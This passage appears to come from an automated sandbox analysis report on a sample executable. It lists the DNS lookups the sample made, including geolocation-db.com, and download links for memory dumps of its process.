
  • 8.8.8.8:53
    geolocation-db.com
    dns
    6025a03430599ee8e8561987af97f145.exe
    64 B
     80 B
     1
    1

    DNS Request

    geolocation-db.com

    DNS Response

    159.89.102.253

  • 8.8.8.8:53
    tse1.mm.bing.net
    dns
    62 B
     170 B
     1
    1

    DNS Request

    tse1.mm.bing.net

    DNS Response

    150.171.27.10
    150.171.28.10

  • 8.8.8.8:53
    c.pki.goog
    dns
    56 B
     107 B
     1
    1

    DNS Request

    c.pki.goog

    DNS Response

    142.250.180.3

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2688-1-0x000002372E650000-0x000002372E668000-memory.dmp

    Filesize

    96KB

    Download

  • memory/2688-0-0x00007FFAE0543000-0x00007FFAE0545000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2688-2-0x0000023748E20000-0x0000023748FE2000-memory.dmp

    Filesize

    1.8MB

    Download

  • memory/2688-3-0x00007FFAE0540000-0x00007FFAE1001000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2688-4-0x0000023749520000-0x0000023749A48000-memory.dmp

    Filesize

    5.2MB

    Download

  • memory/2688-5-0x00007FFAE0540000-0x00007FFAE1001000-memory.dmp

    Filesize

    10.8MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.